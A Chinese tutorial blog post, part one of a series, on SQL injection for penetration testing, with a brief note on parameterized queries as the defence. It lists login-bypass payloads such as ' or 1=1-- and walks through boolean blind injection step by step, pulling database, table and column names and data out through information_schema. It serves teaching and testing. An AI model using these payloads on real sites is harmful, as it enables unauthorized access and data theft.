百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

渗透测试--web篇SQL注入(上)(sql注入漏洞扫描工具)

toyiye 2024-07-15 01:34 14 浏览 0 评论

SQL注入(SQL Injection)

是程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患

用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作


SQL(Structured Query Language)

结构化的查询语言,是关系型数据库通讯的标准语言


查询:SELECT statement FROM table WHERE condition

删除记录:DELETE FROM table WHERE condition

更新记录:UPDATE table SET field=value WHERE condtion

添加记录:INSERT INTO table field VALUES(values)

判断注入点

通过特殊符号 ‘,“,),\,/,-0 减数字看变化

逻辑关系,and比较常用,这里讲讲or和xor,or、xor和and都是相反的,如果错误的就会回显正常,如果是正确的就会回显不正常。xor肯定是不同为真,相同为假,这个好理解,但是数据库里面or的逻辑关系到是有点奇怪了,同时为真时回显会不正常。

注入点在哪

所有的输入只要和数据库进行交互的,都有可能触发SQL注入

认证页面

HTTP header

文件名

search位置

获取字段的地方

常见的几种select类型

数字型 SELECT * FROM news WHERE id=$id 常见于地址栏,可直接注入

字符型 SELECT * FROM news WHERE id='$id' 常见于地址栏,需要闭合单引号才可以注入

搜索型注入点 SELECT * FROM news WHERE keyword like '%$keyword%' 常见于文件名、文章搜索框内,需要闭合like语句才可以注入

内联式SQL注入 SELECT * FROM admin WHERE username='$name' AND password ='$passwd'

常见于登录界面,万能密码绕过登录验证

admin' --

admin' #

admin'/*

' or 1=1--

' or 1=1#

' or 1=1/*

') or '1'='1--

') or ('1'='1--

终止式SQL注入 SELECT * FROM admin WHERE username='$name' AND password ='$passwd'

常见于登录界面,用单引号闭合前面的username判断,通过注释符(--+,%23)构造注入点

根据注入技术分类有以下五种:

布尔型盲注:根据返回页面判断条件真假

时间型盲注:用页面返回时间是否增加判断是否存在注入

基于错误的注入:页面会返回错误信息

联合查询注入:可以使用union的情况下

堆查询注入:可以同时执行多条语句

防御方法

使用参数化查询。

数据库服务器不会把参数的内容当作SQL指令的一部分来拼接执行;

而是在数据库完成SQL指令的编译后才套用参数运行(预编译)。

避免数据变成代码被执行,时刻分清代码和数据的界限。

MySQL基础知识

MySQL默认的数据库有:sys、mysql、performance_schema、information_schema;

information_schema存放着所有的数据库信息(5.0版本以上才有这个库)

这个库有三个表:

SCHEMATA 该表存放用户创建的所有数据库库名SCHEMA_NAME 字段记录数据库库名

TABLES 该表存放用户创建的所有数据库库名和表名TABLE_SCHEMA 字段记录数据库名TABLE_NAME 字段记录表名

COLUMNS 该表存放用户创建的所有数据库库名、表名和字段名TABLE_SCHEMA 字段记录数据库名TABLE_NAME 字段记录表名COLUMN_NAME 字段记录字段名

布尔型盲注,页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入。

在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错

?id=1' and 1=1# 页面返回正常

?id=1' and 1=2# 页面返回不正常

判断数据库名的长度

1'and length(database())>=1--+ 页面返回正常

1'and length(database())>=13--+ 页面返回正常

1'and length(database())>=14--+ 页面返回错误

由此判断得到数据库名的长度是13个字符

猜解数据库名

使用逐字符判断的方式获取数据库名;

数据库名的范围一般在az、09之内,可能还会有特殊字符 “_”、”-“ 等,这里的字母不区分大小写。

' and substr(database(),1,1)='a'--+

' and substr(database(),2,1)='a'--+



substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序

判断数据库表名

' and substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a'--+



修改1,1前边的1~20,逐字符猜解出第一个表的名

修改limit的0,1前边的0~20,逐个猜解每个表

判断数据库字段名

' and substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'--+



修改1,1前边的1~20,逐字符猜解出第一个字段的名

修改limit的0,1前边的0~20,逐个猜解每个字段

取数据

' and substr((select 字段名 from 表名 limit 0,1),1,1)='a'--+


未完,本文分为上写下文

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码